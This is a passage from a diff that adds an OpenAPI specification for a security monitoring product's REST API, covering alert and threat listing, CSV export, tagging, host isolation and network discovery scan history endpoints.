+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Alert'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Alert/aggregate/:
+    get:
+      description: |-
+        The `matrix` field is deprecated, please use `matrix_v2` instead.
+        Query parameter `fields` or `field` is mandatory; if both are given, only `fields` will be used.
+      operationId: data_alert_alert_Alert_aggregate
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: field
+          required: false
+          type: string
+        - in: query
+          minLength: 1
+          name: fields
+          required: false
+          type: string
+        - in: query
+          minLength: 1
+          name: level
+          required: false
+          type: string
+        - in: query
+          name: time
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AlertAggregateResponse'
+      summary: Get aggregated stats and matrix.
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Alert/daily_stats/:
+    get:
+      description: Retrieve daily statistics on alerts
+      operationId: data_alert_alert_Alert_daily_stats
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DailyStats'
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Alert/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_alert_alert_Alert_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Alert/from_unique_id/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Alert_from_unique_id
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: unique_id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Alert'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Alert/stats/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Alert_stats
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: date
+          in: query
+          name: from_date
+          required: true
+          type: string
+        - format: date
+          in: query
+          name: to
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Stat'
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Alert/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the data.
+        You can choose between:
+        - new
+        - false_positive
+        - investigating
+        - closed
+
+        This endpoints allows you to label alerts, according to the identifiers or the current search (filters).
+      operationId: data_alert_alert_Alert_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Tag'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "500":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging security events.
+      tags:
+        - alert
+  /data/alert/alert/Alert/whitelisted/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Alert_whitelisted
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: uuid
+          in: query
+          name: whitelist_id
+          required: true
+          type: string
+        - in: query
+          name: whitelist_revision
+          required: true
+          type: integer
+        - default: true
+          in: query
+          name: is_retroactive_application
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Alert'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Alert/{id}/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Alert_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Alert'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/Alert/{id}/comment/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_alert_alert_Alert_comment
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AddCommentThreat'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - alert
+  /data/alert/alert/Alert/{id}/deisolate/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_alert_alert_Alert_deisolate
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_IsolationResponse'
+      tags:
+        - alert
+  /data/alert/alert/Alert/{id}/details/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Alert_details
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AlertWithDynamicFields'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/Alert/{id}/fields/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Alert_fields
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Alert'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/Alert/{id}/history/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Alert_history
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AlertStatusHistoryList'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/Alert/{id}/isolate/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_alert_alert_Alert_isolate
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_IsolationResponse'
+      tags:
+        - alert
+  /data/alert/alert/Alert/{id}/thread_disassemble/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Alert_thread_disassemble
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Alert'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/Alert/{id}/thread_download/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Alert_thread_download
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Alert'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/ExperimentalAlert/:
+    get:
+      description: ""
+      operationId: data_alert_alert_ExperimentalAlert_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ExperimentalAlert'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/ExperimentalAlert/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_alert_alert_ExperimentalAlert_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/ExperimentalAlert/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the data.
+        You can choose between:
+        - new
+        - false_positive
+        - investigating
+        - closed
+
+        This endpoints allows you to label alerts, according to the identifiers or the current search (filters).
+      operationId: data_alert_alert_ExperimentalAlert_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Tag'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "500":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging security events.
+      tags:
+        - alert
+  /data/alert/alert/ExperimentalAlert/{id}/:
+    get:
+      description: ""
+      operationId: data_alert_alert_ExperimentalAlert_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ExperimentalAlert'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/SubEvent/:
+    get:
+      description: ""
+      operationId: data_alert_alert_SubEvent_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SubEvent'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/SubEvent/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_alert_alert_SubEvent_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/SubEvent/{id}/:
+    get:
+      description: ""
+      operationId: data_alert_alert_SubEvent_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubEvent'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/Threat/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Threat_list
+      parameters:
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: origin_stack_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: level
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: closed_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: linked_threat
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_security_event_count
+          required: false
+          type: number
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: slug
+          required: false
+          type: string
+        - in: query
+          name: threatagents.agent_hostname
+          required: false
+          type: string
+        - enum:
+            - linux
+            - macos
+            - unknown
+            - windows
+          in: query
+          name: threatagents.agent_ostype
+          required: false
+          type: string
+        - in: query
+          name: threatagents.security_event_count
+          required: false
+          type: number
+        - in: query
+          name: threatrules.rule_name
+          required: false
+          type: string
+        - enum:
+            - all
+            - assemblyline
+            - base
+            - cape
+            - correlation
+            - device_control
+            - driver
+            - glimps
+            - hibou
+            - hlai
+            - hlaiscripts
+            - hurukaiav
+            - ioc
+            - irma
+            - kernelguard
+            - orion
+            - ransom
+            - selfprotection
+            - sidewatch
+            - sigma
+            - vt
+            - yara
+          in: query
+          name: threatrules.rule_type
+          required: false
+          type: string
+        - enum:
+            - attack.collection
+            - attack.command_and_control
+            - attack.credential_access
+            - attack.defense_evasion
+            - attack.discovery
+            - attack.execution
+            - attack.exfiltration
+            - attack.impact
+            - attack.initial_access
+            - attack.lateral_movement
+            - attack.persistence
+            - attack.privilege_escalation
+          in: query
+          name: threatrules.rule_tactics
+          required: false
+          type: string
+        - in: query
+          name: threatrules.security_event_count
+          required: false
+          type: number
+        - in: query
+          name: threatusers.user_name
+          required: false
+          type: string
+        - in: query
+          name: threatusers.security_event_count
+          required: false
+          type: number
+        - in: query
+          name: agent_count
+          required: false
+          type: number
+        - in: query
+          name: rule_count
+          required: false
+          type: number
+        - in: query
+          name: impacted_user_count
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Threat'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Threat/agents/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Threat_agents
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: threat_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ThreatAgent'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Threat/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_alert_alert_Threat_export
+      parameters:
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: origin_stack_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: level
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: closed_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: linked_threat
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_security_event_count
+          required: false
+          type: number
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Threat/level/:
+    parameters: []
+    patch:
+      description: ""
+      operationId: data_alert_alert_Threat_level
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateLevelThreat'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - alert
+  /data/alert/alert/Threat/rules/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Threat_rules
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: threat_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ThreatRule'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Threat/rules/details/{id}/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Threat_rules_details
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatRule'
+      tags:
+        - alert
+    parameters:
+      - description: A unique integer value identifying this threat rule.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/Threat/status/:
+    parameters: []
+    patch:
+      description: ""
+      operationId: data_alert_alert_Threat_status
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateStatusThreat'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "500":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - alert
+  /data/alert/alert/Threat/users/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Threat_users
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: threat_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ThreatUser'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - alert
+    parameters: []
+  /data/alert/alert/Threat/{id}/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Threat_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatDetail'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/Threat/{id}/comment/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_alert_alert_Threat_comment
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AddCommentThreat'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - alert
+  /data/alert/alert/Threat/{id}/deisolation/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_alert_alert_Threat_deisolation
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentIsolation'
+      tags:
+        - alert
+  /data/alert/alert/Threat/{id}/history/:
+    get:
+      description: ""
+      operationId: data_alert_alert_Threat_history
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/HistoryRecordList'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/alert/alert/Threat/{id}/isolation/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_alert_alert_Threat_isolation
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentIsolation'
+      tags:
+        - alert
+  /data/alert/alert/Threat/{id}/note/:
+    delete:
+      description: ""
+      operationId: data_alert_alert_Threat_note_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - alert
+    get:
+      description: ""
+      operationId: data_alert_alert_Threat_note_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NoteResponse'
+      tags:
+        - alert
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_alert_alert_Threat_note_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NoteRequestBody'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NoteResponse'
+      tags:
+        - alert
+    post:
+      description: ""
+      operationId: data_alert_alert_Threat_note_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NoteRequestBody'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NoteResponse'
+      tags:
+        - alert
+    put:
+      description: ""
+      operationId: data_alert_alert_Threat_note_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NoteRequestBody'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NoteResponse'
+      tags:
+        - alert
+  /data/attack_surface/NetworkDiscovery/:
+    get:
+      description: ""
+      operationId: data_attack_surface_NetworkDiscovery_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/NDAsset'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/NetworkDiscovery/ScanHistory/{hardware_address}/scans/:
+    get:
+      description: ""
+      operationId: data_attack_surface_NetworkDiscovery_ScanHistory_scans_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: job_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: duration
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: title
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: creator
+          required: false
+          type: string
+        - in: query
+          name: agent_id
+          required: false
+          type: string
+        - in: query
+          name: scanning_agent.version
+          required: false
+          type: string
+        - in: query
+          name: scanning_agent.ostype
+          required: false
+          type: string
+        - in: query
+          name: scanning_agent.agent_id
+          required: false
+          type: string
+        - in: query
+          name: scanning_agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: subnet_id
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/_DeviceScanHistory'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: hardware_address
+        required: true
+        type: string
+  /data/attack_surface/NetworkDiscovery/ScanHistory/{hardware_address}/scans/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_attack_surface_NetworkDiscovery_ScanHistory_scans_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: job_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: duration
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: hardware_address
+        required: true
+        type: string
+  /data/attack_surface/NetworkDiscovery/ScanHistory/{subnet_id}/chart/:
+    get:
+      description: ""
+      operationId: data_attack_surface_NetworkDiscovery_ScanHistory_chart_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: job_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: duration
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: title
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: creator
+          required: false
+          type: string
+        - in: query
+          name: agent_id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/_SubnetHistoryChart'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: subnet_id
+        required: true
+        type: string
+  /data/attack_surface/NetworkDiscovery/ScanHistory/{subnet_id}/chart/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_attack_surface_NetworkDiscovery_ScanHistory_chart_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
